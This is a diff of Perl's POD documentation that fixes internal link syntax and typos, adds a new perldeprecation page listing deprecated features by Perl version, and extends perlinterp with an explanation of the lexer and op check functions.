--- a/gnu/usr.bin/perl/pod/perl561delta.pod
+++ b/gnu/usr.bin/perl/pod/perl561delta.pod
@@ -744,7 +744,7 @@ than C<$]> (a numeric value). (This is a potential incompatibility.
Send us a report via perlbug if you are affected by this.)
The v1.2.3 syntax is also now legal in Perl.
-See L<Support for strings represented as a vector of ordinals> for more on that.
+See L</Support for strings represented as a vector of ordinals> for more on that.
To cope with the new versioning system's use of at least three significant
digits for each version component, the method used for incrementing the
@@ -2092,7 +2092,7 @@ capabilities. In other words: if your operating system has the
necessary APIs and datatypes, you should be able just to go ahead and
use them, for threads by Configure -Dusethreads, and for 64 bits
either explicitly by Configure -Duse64bitint or implicitly if your
-system has 64-bit wide datatypes. See also L<"64-bit support">.
+system has 64-bit wide datatypes. See also L</"64-bit support">.
=head2 Long Doubles
@@ -2103,7 +2103,7 @@ Perl's scalars, use -Duselongdouble.
=head2 -Dusemorebits
You can enable both -Duse64bitint and -Duselongdouble with -Dusemorebits.
-See also L<"64-bit support">.
+See also L</"64-bit support">.
=head2 -Duselargefiles
@@ -2111,7 +2111,7 @@ Some platforms support system APIs that are capable of handling large files
(typically, files larger than two gigabytes). Perl will try to use these
APIs if you ask for -Duselargefiles.
-See L<"Large file support"> for more information.
+See L</"Large file support"> for more information.
=head2 installusrbinperl
diff --git a/gnu/usr.bin/perl/pod/perl56delta.pod b/gnu/usr.bin/perl/pod/perl56delta.pod
index 24c2072c253..8b6272b2427 100644
--- a/gnu/usr.bin/perl/pod/perl56delta.pod
+++ b/gnu/usr.bin/perl/pod/perl56delta.pod
@@ -146,7 +146,7 @@ than C<$]> (a numeric value). (This is a potential incompatibility.
Send us a report via perlbug if you are affected by this.)
The v1.2.3 syntax is also now legal in Perl.
-See L<Support for strings represented as a vector of ordinals> for more on that.
+See L</Support for strings represented as a vector of ordinals> for more on that.
To cope with the new versioning system's use of at least three significant
digits for each version component, the method used for incrementing the
@@ -1494,7 +1494,7 @@ capabilities. In other words: if your operating system has the
necessary APIs and datatypes, you should be able just to go ahead and
use them, for threads by Configure -Dusethreads, and for 64 bits
either explicitly by Configure -Duse64bitint or implicitly if your
-system has 64-bit wide datatypes. See also L<"64-bit support">.
+system has 64-bit wide datatypes. See also L</"64-bit support">.
=head2 Long Doubles
@@ -1505,7 +1505,7 @@ Perl's scalars, use -Duselongdouble.
=head2 -Dusemorebits
You can enable both -Duse64bitint and -Duselongdouble with -Dusemorebits.
-See also L<"64-bit support">.
+See also L</"64-bit support">.
=head2 -Duselargefiles
@@ -1513,7 +1513,7 @@ Some platforms support system APIs that are capable of handling large files
(typically, files larger than two gigabytes). Perl will try to use these
APIs if you ask for -Duselargefiles.
-See L<"Large file support"> for more information.
+See L</"Large file support"> for more information.
=head2 installusrbinperl
diff --git a/gnu/usr.bin/perl/pod/perl581delta.pod b/gnu/usr.bin/perl/pod/perl581delta.pod
index cd88c73ba62..f870172ae86 100644
--- a/gnu/usr.bin/perl/pod/perl581delta.pod
+++ b/gnu/usr.bin/perl/pod/perl581delta.pod
@@ -120,7 +120,7 @@ by anyone, it has been repurposed. The behavior that this switch
enabled in 5.6.x releases may be supported in a transparent,
data-dependent fashion in a future release.
-For the new life of this switch, see L<"UTF-8 no longer default under
+For the new life of this switch, see L</"UTF-8 no longer default under
UTF-8 locales">, and L<perlrun/-C>.
=head2 (Win32) The /d Switch Of cmd.exe
@@ -559,7 +559,7 @@ to build a Perl for PASE is to use an AIX host as a cross-compilation
environment. See README.os400.
Yet another cross-compilation option has been added: now Perl builds
-on OpenZaurus, an Linux distribution based on Mandrake + Embedix for
+on OpenZaurus, a Linux distribution based on Mandrake + Embedix for
the Sharp Zaurus PDA. See the Cross/README file.
Tru64 when using gcc 3 drops the optimisation for F<toke.c> to C<-O2>
diff --git a/gnu/usr.bin/perl/pod/perl588delta.pod b/gnu/usr.bin/perl/pod/perl588delta.pod
index b2203bcf71d..52992729345 100644
--- a/gnu/usr.bin/perl/pod/perl588delta.pod
+++ b/gnu/usr.bin/perl/pod/perl588delta.pod
@@ -530,7 +530,7 @@ C<File::Spec> upgraded to version 3.12
=item *
-C<File::Spec->rootdir()> now returns C<\> on Win32, instead of C</>
+C<< File::Spec->rootdir() >> now returns C<\> on Win32, instead of C</>
=item *
@@ -1243,7 +1243,7 @@ Now implements UCA Revision 14 (based on Unicode 4.1.0).
=item *
-C<Unicode::Collate->new> method no longer overwrites user's C<$_>
+C<< Unicode::Collate->new >> method no longer overwrites user's C<$_>
=item *
@@ -1535,7 +1535,7 @@ This is a new warning, produced in situations such as this:
=head2 Non-string passed as bitmask
-This is a new warning, produced when number has been passed as a argument to
+This is a new warning, produced when number has been passed as an argument to
select(), instead of a bitmask.
# Wrong, will now warn
diff --git a/gnu/usr.bin/perl/pod/perl589delta.pod b/gnu/usr.bin/perl/pod/perl589delta.pod
index f10099ccfa4..4eeaf302f5c 100644
--- a/gnu/usr.bin/perl/pod/perl589delta.pod
+++ b/gnu/usr.bin/perl/pod/perl589delta.pod
@@ -314,7 +314,7 @@ properly deparse C<print readpipe $x, $y>.
=item *
-now handles C<''->()>, C<::()>, C<sub :: {}>, I<etc.> correctly [RT #43010].
+now handles C<< ''->() >>, C<::()>, C<sub :: {}>, I<etc.> correctly [RT #43010].
All bugs in parsing these kinds of syntax are now fixed:
perl -MO=Deparse -e '"my %h = "->()'
diff --git a/gnu/usr.bin/perl/pod/perlartistic.pod b/gnu/usr.bin/perl/pod/perlartistic.pod
index 63813ff4fb9..65565018ad9 100644
--- a/gnu/usr.bin/perl/pod/perlartistic.pod
+++ b/gnu/usr.bin/perl/pod/perlartistic.pod
@@ -213,7 +213,7 @@ products derived from this software without specific prior written permission.
THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
-WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
=back
diff --git a/gnu/usr.bin/perl/pod/perldeprecation.pod b/gnu/usr.bin/perl/pod/perldeprecation.pod
new file mode 100644
index 00000000000..40ad2ecbe96
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perldeprecation.pod
@@ -0,0 +1,540 @@
+=head1 NAME
+
+perldeprecation - list Perl deprecations
+
+=head1 DESCRIPTION
+
+The purpose of this document is to document what has been deprecated
+in Perl, and by which version the deprecated feature will disappear,
+or, for already removed features, when it was removed.
+
+This document will try to discuss what alternatives for the deprecated
+features are available.
+
+The deprecated features will be grouped by the version of Perl in
+which they will be removed.
+
+=head2 Perl 5.32
+
+=head3 Constants from lexical variables potentially modified elsewhere
+
+You wrote something like
+
+ my $var;
+ $sub = sub () { $var };
+
+but $var is referenced elsewhere and could be modified after the C<sub>
+expression is evaluated. Either it is explicitly modified elsewhere
+(C<$var = 3>) or it is passed to a subroutine or to an operator like
+C<printf> or C<map>, which may or may not modify the variable.
+
+Traditionally, Perl has captured the value of the variable at that
+point and turned the subroutine into a constant eligible for inlining.
+In those cases where the variable can be modified elsewhere, this
+breaks the behavior of closures, in which the subroutine captures
+the variable itself, rather than its value, so future changes to the
+variable are reflected in the subroutine's return value.
+
+If you intended for the subroutine to be eligible for inlining, then
+make sure the variable is not referenced elsewhere, possibly by
+copying it:
+
+ my $var2 = $var;
+ $sub = sub () { $var2 };
+
+If you do want this subroutine to be a closure that reflects future
+changes to the variable that it closes over, add an explicit C<return>:
+
+ my $var;
+ $sub = sub () { return $var };
+
+This usage has been deprecated, and will no longer be allowed in Perl 5.32.
+
+=head3 Use of strings with code points over 0xFF as arguments to C<vec>
+
+C<vec> views its string argument as a sequence of bits. A string
+containing a code point over 0xFF is nonsensical. This usage is
+deprecated in Perl 5.28, and will be removed in Perl 5.32.
+
+=head3 Use of code points over 0xFF in string bitwise operators
+
+The string bitwise operators, C<&>, C<|>, C<^>, and C<~>, treat their
+operands as strings of bytes. As such, values above 0xFF are
+nonsensical. Some instances of these have been deprecated since Perl
+5.24, and were made fatal in 5.28, but it turns out that in cases where
+the wide characters did not affect the end result, no deprecation
+notice was raised, and so remain legal. Now, all occurrences either are
+fatal or raise a deprecation warning, so that the remaining legal
+occurrences will be fatal in 5.32.
+
+An example of this is
+
+ "" & "\x{100}"
+
+The wide character is not used in the C<&> operation because the left
+operand is shorter. This now warns anyway.
+
+=head3 hostname() doesn't accept any arguments
+
+The function C<hostname()> in the L<Sys::Hostname> module has always
+been documented to be called with no arguments. Historically it has not
+enforced this, and has actually accepted and ignored any arguments. As a
+result, some users have got the mistaken impression that an argument does
+something useful. To avoid these bugs, the function is being made strict.
+Passing arguments was deprecated in Perl 5.28, and will become fatal in
+Perl 5.32.
+
+=head3 Unescaped left braces in regular expressions
+
+The simple rule to remember, if you want to match a literal C<{>
+character (U+007B C<LEFT CURLY BRACKET>) in a regular expression
+pattern, is to escape each literal instance of it in some way.
+Generally easiest is to precede it with a backslash, like C<\{>
+or enclose it in square brackets (C<[{]>). If the pattern
+delimiters are also braces, any matching right brace (C<}>) should
+also be escaped to avoid confusing the parser, for example,
+
+ qr{abc\{def\}ghi}
+
+Forcing literal C<{> characters to be escaped will enable the Perl
+language to be extended in various ways in future releases. To avoid
+needlessly breaking existing code, the restriction is is not enforced in
+contexts where there are unlikely to ever be extensions that could
+conflict with the use there of C<{> as a literal.
+
+Literal uses of C<{> were deprecated in Perl 5.20, and some uses of it
+started to give deprecation warnings since. These cases were made fatal
+in Perl 5.26. Due to an oversight, not all cases of a use of a literal
+C<{> got a deprecation warning. Some cases started warning in Perl 5.26,
+and they will be fatal by Perl 5.30. Other case started in Perl 5.28,
+and will be made fatal in 5.32.
+
+=head2 Perl 5.30
+
+=head3 C<< $* >> is no longer supported
+
+Before Perl 5.10, setting C<< $* >> to a true value globally enabled
+multi-line matching within a string. This relique from the past lost
+its special meaning in 5.10. Use of this variable will be a fatal error
+in Perl 5.30, freeing the variable up for a future special meaning.
+
+To enable multiline matching one should use the C<< /m >> regexp
+modifier (possibly in combination with C<< /s >>). This can be set
+on a per match bases, or can be enabled per lexical scope (including
+a whole file) with C<< use re '/m' >>.
+
+=head3 C<< $# >> is no longer supported
+
+This variable used to have a special meaning -- it could be used
+to control how numbers were formatted when printed. This seldom
+used functionality was removed in Perl 5.10. In order to free up
+the variable for a future special meaning, its use will be a fatal
+error in Perl 5.30.
+
+To specify how numbers are formatted when printed, one is advised
+to use C<< printf >> or C<< sprintf >> instead.
+
+=head3 Assigning non-zero to C<< $[ >> will be fatal
+
+This variable (and the corresponding C<array_base> feature and
+L<arybase> module) allows changing the base for array and string
+indexing operations.
+
+Setting this to a non-zero value has been deprecated since Perl 5.12 and
+will become fatal in Perl 5.30.
+
+=head3 C<< File::Glob::glob() >> will disappear
+
+C<< File::Glob >> has a function called C<< glob >>, which just calls
+C<< bsd_glob >>. However, its prototype is different from the prototype
+of C<< CORE::glob >>, and hence, C<< File::Glob::glob >> should not
+be used.
+
+C<< File::Glob::glob() >> was deprecated in Perl 5.8. A deprecation
+message was issued from Perl 5.26 onwards, and the function will
+disappear in Perl 5.30.
+
+Code using C<< File::Glob::glob() >> should call
+C<< File::Glob::bsd_glob() >> instead.
+
+=head3 Unescaped left braces in regular expressions (for 5.30)
+
+See L</Unescaped left braces in regular expressions> above.
+
+=head3 Unqualified C<dump()>
+
+Use of C<dump()> instead of C<CORE::dump()> was deprecated in Perl 5.8,
+and an unqualified C<dump()> will no longer be available in Perl 5.30.
+
+See L<perlfunc/dump>.
+
+
+=head3 Using my() in false conditional.
+
+There has been a long-standing bug in Perl that causes a lexical variable
+not to be cleared at scope exit when its declaration includes a false
+conditional. Some people have exploited this bug to achieve a kind of
+static variable. Since we intend to fix this bug, we don't want people
+relying on this behavior.
+
+Instead, it's recommended one uses C<state> variables to achieve the
+same effect:
+
+ use 5.10.0;
+ sub count {state $counter; return ++ $counter}
+ say count (); # Prints 1
+ say count (); # Prints 2
+
+C<state> variables were introduced in Perl 5.10.
+
+Alternatively, you can achieve a similar static effect by
+declaring the variable in a separate block outside the function, eg
+
+ sub f { my $x if 0; return $x++ }
+
+becomes
+
+ { my $x; sub f { return $x++ } }
+
+The use of C<my()> in a false conditional has been deprecated in
+Perl 5.10, and it will become a fatal error in Perl 5.30.
+
+
+=head3 Reading/writing bytes from/to :utf8 handles.
+
+The sysread(), recv(), syswrite() and send() operators are
+deprecated on handles that have the C<:utf8> layer, either explicitly, or
+implicitly, eg., with the C<:encoding(UTF-16LE)> layer.
+
+Both sysread() and recv() currently use only the C<:utf8> flag for the stream,
+ignoring the actual layers. Since sysread() and recv() do no UTF-8
+validation they can end up creating invalidly encoded scalars.
+
+Similarly, syswrite() and send() use only the C<:utf8> flag, otherwise ignoring
+any layers. If the flag is set, both write the value UTF-8 encoded, even if
+the layer is some different encoding, such as the example above.
+
+Ideally, all of these operators would completely ignore the C<:utf8> state,
+working only with bytes, but this would result in silently breaking existing
+code. To avoid this a future version of perl will throw an exception when
+any of sysread(), recv(), syswrite() or send() are called on handle with the
+C<:utf8> layer.
+
+In Perl 5.30, it will no longer be possible to use sysread(), recv(),
+syswrite() or send() to read or send bytes from/to :utf8 handles.
+
+
+=head3 Use of unassigned code point or non-standalone grapheme for a delimiter.
+
+A grapheme is what appears to a native-speaker of a language to be a
+character. In Unicode (and hence Perl) a grapheme may actually be
+several adjacent characters that together form a complete grapheme. For
+example, there can be a base character, like "R" and an accent, like a
+circumflex "^", that appear when displayed to be a single character with
+the circumflex hovering over the "R". Perl currently allows things like
+that circumflex to be delimiters of strings, patterns, I<etc>. When
+displayed, the circumflex would look like it belongs to the character
+just to the left of it. In order to move the language to be able to
+accept graphemes as delimiters, we have to deprecate the use of
+delimiters which aren't graphemes by themselves. Also, a delimiter must
+already be assigned (or known to be never going to be assigned) to try
+to future-proof code, for otherwise code that works today would fail to
+compile if the currently unassigned delimiter ends up being something
+that isn't a stand-alone grapheme. Because Unicode is never going to
+assign
+L<non-character code points|perlunicode/Noncharacter code points>, nor
+L<code points that are above the legal Unicode maximum|
+perlunicode/Beyond Unicode code points>, those can be delimiters, and
+their use won't raise this warning.
+
+In Perl 5.30, delimiters which are unassigned code points, or which
+are non-standalone graphemes will be fatal.
+
+=head3 In XS code, use of various macros dealing with UTF-8.
+
+These macros will require an extra parameter in Perl 5.30:
+C<isALPHANUMERIC_utf8>,
+C<isASCII_utf8>,
+C<isBLANK_utf8>,
+C<isCNTRL_utf8>,
+C<isDIGIT_utf8>,
+C<isIDFIRST_utf8>,
+C<isPSXSPC_utf8>,
+C<isSPACE_utf8>,
+C<isVERTWS_utf8>,
+C<isWORDCHAR_utf8>,
+C<isXDIGIT_utf8>,
+C<isALPHANUMERIC_LC_utf8>,
+C<isALPHA_LC_utf8>,
+C<isASCII_LC_utf8>,
+C<isBLANK_LC_utf8>,
+C<isCNTRL_LC_utf8>,
+C<isDIGIT_LC_utf8>,
+C<isGRAPH_LC_utf8>,
+C<isIDCONT_LC_utf8>,
+C<isIDFIRST_LC_utf8>,
+C<isLOWER_LC_utf8>,
+C<isPRINT_LC_utf8>,
+C<isPSXSPC_LC_utf8>,
+C<isPUNCT_LC_utf8>,
+C<isSPACE_LC_utf8>,
+C<isUPPER_LC_utf8>,
+C<isWORDCHAR_LC_utf8>,
+C<isXDIGIT_LC_utf8>,
+C<toFOLD_utf8>,
+C<toLOWER_utf8>,
+C<toTITLE_utf8>,
+and
+C<toUPPER_utf8>.
+
+There is now a macro that corresponds to each one of these, simply by
+appending C<_safe> to the name. It takes the extra parameter.
+For example, C<isDIGIT_utf8_safe> corresponds to C<isDIGIT_utf8>, but
+takes the extra parameter, and its use doesn't generate a deprecation
+warning. All are documented in L<perlapi/Character case changing> and
+L<perlapi/Character classification>.
+
+You can change to use these versions at any time, or, if you can live
+with the deprecation messages, wait until 5.30 and add the parameter to
+the existing calls, without changing the names.
+
+=head2 Perl 5.28
+
+=head3 Attributes C<< :locked >> and C<< :unique >>
+
+The attributes C<< :locked >> (on code references) and C<< :unique >>
+(on array, hash and scalar references) have had no effect since
+Perl 5.005 and Perl 5.8.8 respectively. Their use has been deprecated
+since.
+
+As of Perl 5.28, these attributes are syntax errors. Since the
+attributes do not do anything, removing them from your code fixes
+the syntax error; and removing them will not influence the behaviour
+of your code.
+
+
+=head3 Bare here-document terminators
+
+Perl has allowed you to use a bare here-document terminator to have the
+here-document end at the first empty line. This practise was deprecated
+in Perl 5.000; as of Perl 5.28, using a bare here-document terminator
+throws a fatal error.
+
+You are encouraged to use the explicitly quoted form if you wish to
+use an empty line as the terminator of the here-document:
+
+ print <<"";
+ Print this line.
+
+ # Previous blank line ends the here-document.
+
+
+=head3 Setting $/ to a reference to a non-positive integer
+
+You assigned a reference to a scalar to C<$/> where the
+referenced item is not a positive integer. In older perls this B<appeared>
+to work the same as setting it to C<undef> but was in fact internally
+different, less efficient and with very bad luck could have resulted in
+your file being split by a stringified form of the reference.
+
+In Perl 5.20.0 this was changed so that it would be B<exactly> the same as
+setting C<$/> to undef, with the exception that this warning would be
+thrown.
+
+As of Perl 5.28, setting C<$/> to a reference of a non-positive
+integer throws a fatal error.
+
+You are recommended to change your code to set C<$/> to C<undef> explicitly
+if you wish to slurp the file.
+
+
+=head3 Limit on the value of Unicode code points.
+
+Unicode only allows code points up to 0x10FFFF, but Perl allows
+much larger ones. Up till Perl 5.28, it was allowed to use code
+points exceeding the maximum value of an integer (C<IV_MAX>).
+However, that did break the perl interpreter in some constructs,
+including causing it to hang in a few cases. The known problem
+areas were in C<tr///>, regular expression pattern matching using
+quantifiers, as quote delimiters in C<qI<X>...I<X>> (where I<X> is
+the C<chr()> of a large code point), and as the upper limits in
+loops.
+
+The use of out of range code points was deprecated in Perl 5.24; as of
+Perl 5.28 using a code point exceeding C<IV_MAX> throws a fatal error.
+
+If your code is to run on various platforms, keep in mind that the upper
+limit depends on the platform. It is much larger on 64-bit word sizes
+than 32-bit ones. For 32-bit integers, C<IV_MAX> equals C<0x7FFFFFFF>,
+for 64-bit integers, C<IV_MAX> equals C<0x7FFFFFFFFFFFFFFF>.
+
+
+=head3 Use of comma-less variable list in formats.
+
+It was allowed to use a list of variables in a format, without
+separating them with commas. This usage has been deprecated
+for a long time, and as of Perl 5.28, this throws a fatal error.
+
+=head3 Use of C<\N{}>
+
+Use of C<\N{}> with nothing between the braces was deprecated in
+Perl 5.24, and throws a fatal error as of Perl 5.28.
+
+Since such a construct is equivalent to using an empty string,
+you are recommended to remove such C<\N{}> constructs.
+
+=head3 Using the same symbol to open a filehandle and a dirhandle
+
+It used to be legal to use C<open()> to associate both a
+filehandle and a dirhandle to the same symbol (glob or scalar).
+This idiom is likely to be confusing, and it was deprecated in
+Perl 5.10.
+
+Using the same symbol to C<open()> a filehandle and a dirhandle
+throws a fatal error as of Perl 5.28.
+
+You should be using two different symbols instead.
+
+=head3 ${^ENCODING} is no longer supported.
+
+The special variable C<${^ENCODING}> was used to implement
+the C<encoding> pragma. Setting this variable to anything other
+than C<undef> was deprecated in Perl 5.22. Full deprecation
+of the variable happened in Perl 5.25.3.
+
+Setting this variable to anything other than an undefined value
+throws a fatal error as of Perl 5.28.
+
+
+=head3 C<< B::OP::terse >>
+
+This method, which just calls C<< B::Concise::b_terse >>, has been
+deprecated, and disappeared in Perl 5.28. Please use
+C<< B::Concise >> instead.
+
+
+
+=head3 Use of inherited AUTOLOAD for non-method %s::%s() is no longer allowed
+
+As an (ahem) accidental feature, C<AUTOLOAD> subroutines were looked
+up as methods (using the C<@ISA> hierarchy) even when the subroutines
+to be autoloaded were called as plain functions (e.g. C<Foo::bar()>),
+not as methods (e.g. C<< Foo->bar() >> or C<< $obj->bar() >>).
+
+This bug was deprecated in Perl 5.004, has been rectified in Perl 5.28
+by using method lookup only for methods' C<AUTOLOAD>s.
+
+The simple rule is: Inheritance will not work when autoloading
+non-methods. The simple fix for old code is: In any module that used
+to depend on inheriting C<AUTOLOAD> for non-methods from a base class
+named C<BaseClass>, execute C<*AUTOLOAD = \&BaseClass::AUTOLOAD> during
+startup.
+
+In code that currently says C<use AutoLoader; @ISA = qw(AutoLoader);>
+you should remove AutoLoader from @ISA and change C<use AutoLoader;> to
+C<use AutoLoader 'AUTOLOAD';>.
+
+
+=head3 Use of code points over 0xFF in string bitwise operators
+
+The string bitwise operators, C<&>, C<|>, C<^>, and C<~>, treat
+their operands as strings of bytes. As such, values above 0xFF
+are nonsensical. Using such code points with these operators
+was deprecated in Perl 5.24, and is fatal as of Perl 5.28.
+
+=head3 In XS code, use of C<to_utf8_case()>
+
+This function has been removed as of Perl 5.28; instead convert to call
+the appropriate one of:
+L<C<toFOLD_utf8_safe>|perlapi/toFOLD_utf8_safe>.
+L<C<toLOWER_utf8_safe>|perlapi/toLOWER_utf8_safe>,
+L<C<toTITLE_utf8_safe>|perlapi/toTITLE_utf8_safe>,
+or
+L<C<toUPPER_utf8_safe>|perlapi/toUPPER_utf8_safe>.
+
+=head2 Perl 5.26
+
+=head3 C<< --libpods >> in C<< Pod::Html >>
+
+Since Perl 5.18, the option C<< --libpods >> has been deprecated, and
+using this option did not do anything other than producing a warning.
+
+The C<< --libpods >> option is no longer recognized as of Perl 5.26.
+
+
+=head3 The utilities C<< c2ph >> and C<< pstruct >>
+
+These old, perl3-era utilities have been deprecated in favour of
+C<< h2xs >> for a long time. As of Perl 5.26, they have been removed.
+
+
+=head3 Trapping C<< $SIG {__DIE__} >> other than during program exit.
+
+The C<$SIG{__DIE__}> hook is called even inside an C<eval()>. It was
+never intended to happen this way, but an implementation glitch made
+this possible. This used to be deprecated, as it allowed strange action
+at a distance like rewriting a pending exception in C<$@>. Plans to
+rectify this have been scrapped, as users found that rewriting a
+pending exception is actually a useful feature, and not a bug.
+
+Perl never issued a deprecation warning for this; the deprecation
+was by documentation policy only. But this deprecation has been
+lifted as of Perl 5.26.
+
+
+=head3 Malformed UTF-8 string in "%s"
+
+This message indicates a bug either in the Perl core or in XS
+code. Such code was trying to find out if a character, allegedly
+stored internally encoded as UTF-8, was of a given type, such as
+being punctuation or a digit. But the character was not encoded
+in legal UTF-8. The C<%s> is replaced by a string that can be used
+by knowledgeable people to determine what the type being checked
+against was.
+
+Passing malformed strings was deprecated in Perl 5.18, and
+became fatal in Perl 5.26.
+
+
+=head2 Perl 5.24
+
+=head3 Use of C<< *glob{FILEHANDLE} >>
+
+The use of C<< *glob{FILEHANDLE} >> was deprecated in Perl 5.8.
+The intention was to use C<< *glob{IO} >> instead, for which
+C<< *glob{FILEHANDLE} >> is an alias.
+
+However, this feature was undeprecated in Perl 5.24.
+
+=head3 Calling POSIX::%s() is deprecated
+
+The following functions in the C<POSIX> module are no longer available:
+C<isalnum>, C<isalpha>, C<iscntrl>, C<isdigit>, C<isgraph>, C<islower>,
+C<isprint>, C<ispunct>, C<isspace>, C<isupper>, and C<isxdigit>. The
+functions are buggy and don't work on UTF-8 encoded strings. See their
+entries in L<POSIX> for more information.
+
+The functions were deprecated in Perl 5.20, and removed in Perl 5.24.
+
+
+=head2 Perl 5.16
+
+=head3 Use of %s on a handle without * is deprecated
+
+It used to be possible to use C<tie>, C<tied> or C<untie> on a scalar
+while the scalar holds a typeglob. This caused its filehandle to be
+tied. It left no way to tie the scalar itself when it held a typeglob,
+and no way to untie a scalar that had had a typeglob assigned to it.
+
+This was deprecated in Perl 5.14, and the bug was fixed in Perl 5.16.
+
+So now C<tie $scalar> will always tie the scalar, not the handle it holds.
+To tie the handle, use C<tie *$scalar> (with an explicit asterisk). The same
+applies to C<tied *$scalar> and C<untie *$scalar>.
+
+
+=head1 SEE ALSO
+
+L<warnings>, L<diagnostics>.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perlhacktut.pod b/gnu/usr.bin/perl/pod/perlhacktut.pod
index fc0833649be..72919fcd4a2 100644
--- a/gnu/usr.bin/perl/pod/perlhacktut.pod
+++ b/gnu/usr.bin/perl/pod/perlhacktut.pod
@@ -74,7 +74,7 @@ of C<pat>:
items = SP - MARK;
MARK++;
- sv_setpvn(cat, "", 0);
+ SvPVCLEAR(cat);
+ patcopy = pat;
while (pat < patend) {
diff --git a/gnu/usr.bin/perl/pod/perlinterp.pod b/gnu/usr.bin/perl/pod/perlinterp.pod
index bb559ba02b9..7ac6c9ee4cb 100644
--- a/gnu/usr.bin/perl/pod/perlinterp.pod
+++ b/gnu/usr.bin/perl/pod/perlinterp.pod
@@ -70,8 +70,7 @@ needs, the stacks, and so on.
Now we pass Perl the command line options, and tell it to go:
- exitstatus = perl_parse(my_perl, xs_init, argc, argv, (char **)NULL);
- if (!exitstatus)
+ if (!perl_parse(my_perl, xs_init, argc, argv, (char **)NULL))
perl_run(my_perl);
exitstatus = perl_destruct(my_perl);
@@ -473,11 +472,11 @@ Originally, the tree would have looked like this:
11 SVOP (0x816dcf0) gv GV (0x80fa460) *a
That is, fetch the C<a> entry from the main symbol table, and then look
-at the scalar component of it: C<gvsv> (C<pp_gvsv> into F<pp_hot.c>)
+at the scalar component of it: C<gvsv> (C<pp_gvsv> in F<pp_hot.c>)
happens to do both these things.
The right hand side, starting at line 5 is similar to what we've just
-seen: we have the C<add> op (C<pp_add> also in F<pp_hot.c>) add
+seen: we have the C<add> op (C<pp_add>, also in F<pp_hot.c>) add
together two C<gvsv>s.
Now, what's this about?
@@ -531,8 +530,45 @@ statement. Get the values of C<$b> and C<$c>, and add them together.
Find C<$a>, and assign one to the other. Then leave.
The way Perl builds up these op trees in the parsing process can be
-unravelled by examining F<perly.y>, the YACC grammar. Let's take the
-piece we need to construct the tree for C<$a = $b + $c>
+unravelled by examining F<toke.c>, the lexer, and F<perly.y>, the YACC
+grammar. Let's look at the code that constructs the tree for C<$a = $b +
+$c>.
+
+First, we'll look at the C<Perl_yylex> function in the lexer. We want to
+look for C<case 'x'>, where x is the first character of the operator.
+(Incidentally, when looking for the code that handles a keyword, you'll
+want to search for C<KEY_foo> where "foo" is the keyword.) Here is the code
+that handles assignment (there are quite a few operators beginning with
+C<=>, so most of it is omitted for brevity):
+
+ 1 case '=':
+ 2 s++;
+ ... code that handles == => etc. and pod ...
+ 3 pl_yylval.ival = 0;
+ 4 OPERATOR(ASSIGNOP);
+
+We can see on line 4 that our token type is C<ASSIGNOP> (C<OPERATOR> is a
+macro, defined in F<toke.c>, that returns the token type, among other
+things). And C<+>:
+
+ 1 case '+':
+ 2 {
+ 3 const char tmp = *s++;
+ ... code for ++ ...
+ 4 if (PL_expect == XOPERATOR) {
+ ...
+ 5 Aop(OP_ADD);
+ 6 }
+ ...
+ 7 }
+
+Line 4 checks what type of token we are expecting. C<Aop> returns a token.
+If you search for C<Aop> elsewhere in F<toke.c>, you will see that it
+returns an C<ADDOP> token.
+
+Now that we know the two token types we want to look for in the parser,
+let's take the piece of F<perly.y> we need to construct the tree for
+C<$a = $b + $c>
1 term : term ASSIGNOP term
2 { $$ = newASSIGNOP(OPf_STACKED, $1, $2, $3); }
@@ -541,9 +577,8 @@ piece we need to construct the tree for C<$a = $b + $c>
If you're not used to reading BNF grammars, this is how it works:
You're fed certain things by the tokeniser, which generally end up in
-upper case. Here, C<ADDOP>, is provided when the tokeniser sees C<+> in
-your code. C<ASSIGNOP> is provided when C<=> is used for assigning.
-These are "terminal symbols", because you can't get any simpler than
+upper case. C<ADDOP> and C<ASSIGNOP> are examples of "terminal symbols",
+because you can't get any simpler than
them.
The grammar, lines one and three of the snippet above, tells you how to
@@ -580,6 +615,49 @@ use C<$2>. The second parameter is the op's flags: 0 means "nothing
special". Then the things to add: the left and right hand side of our
expression, in scalar context.
+The functions that create ops, which have names like C<newUNOP> and
+C<newBINOP>, call a "check" function associated with each op type, before
+returning the op. The check functions can mangle the op as they see fit,
+and even replace it with an entirely new one. These functions are defined
+in F<op.c>, and have a C<Perl_ck_> prefix. You can find out which
+check function is used for a particular op type by looking in
+F<regen/opcodes>. Take C<OP_ADD>, for example. (C<OP_ADD> is the token
+value from the C<Aop(OP_ADD)> in F<toke.c> which the parser passes to
+C<newBINOP> as its first argument.) Here is the relevant line:
+
+ add addition (+) ck_null IfsT2 S S
+
+The check function in this case is C<Perl_ck_null>, which does nothing.
+Let's look at a more interesting case:
+
+ readline <HANDLE> ck_readline t% F?
+
+And here is the function from F<op.c>:
+
+ 1 OP *
+ 2 Perl_ck_readline(pTHX_ OP *o)
+ 3 {
+ 4 PERL_ARGS_ASSERT_CK_READLINE;
+ 5
+ 6 if (o->op_flags & OPf_KIDS) {
+ 7 OP *kid = cLISTOPo->op_first;
+ 8 if (kid->op_type == OP_RV2GV)
+ 9 kid->op_private |= OPpALLOW_FAKE;
+ 10 }
+ 11 else {
+ 12 OP * const newop
+ 13 = newUNOP(OP_READLINE, 0, newGVOP(OP_GV, 0,
+ 14 PL_argvgv));
+ 15 op_free(o);
+ 16 return newop;
+ 17 }
+ 18 return o;
+ 19 }
+
+One particularly interesting aspect is that if the op has no kids (i.e.,
+C<readline()> or C<< <> >>) the op is freed and replaced with an entirely
+new one that references C<*ARGV> (lines 12-16).
+
=head1 STACKS
When perl executes something like C<addop>, how does it pass on its
diff --git a/gnu/usr.bin/perl/pod/perlnumber.pod b/gnu/usr.bin/perl/pod/perlnumber.pod
index ffe3ed5b432..d77fe68458c 100644
--- a/gnu/usr.bin/perl/pod/perlnumber.pod
+++ b/gnu/usr.bin/perl/pod/perlnumber.pod
@@ -59,7 +59,7 @@ numbers. (But realize that what we are discussing the rules for just the
I<storage> of these numbers. The fact that you can store such "large" numbers
does not mean that the I<operations> over these numbers will use all
of the significant digits.
-See L<"Numeric operators and numeric conversions"> for details.)
+See L</"Numeric operators and numeric conversions"> for details.)
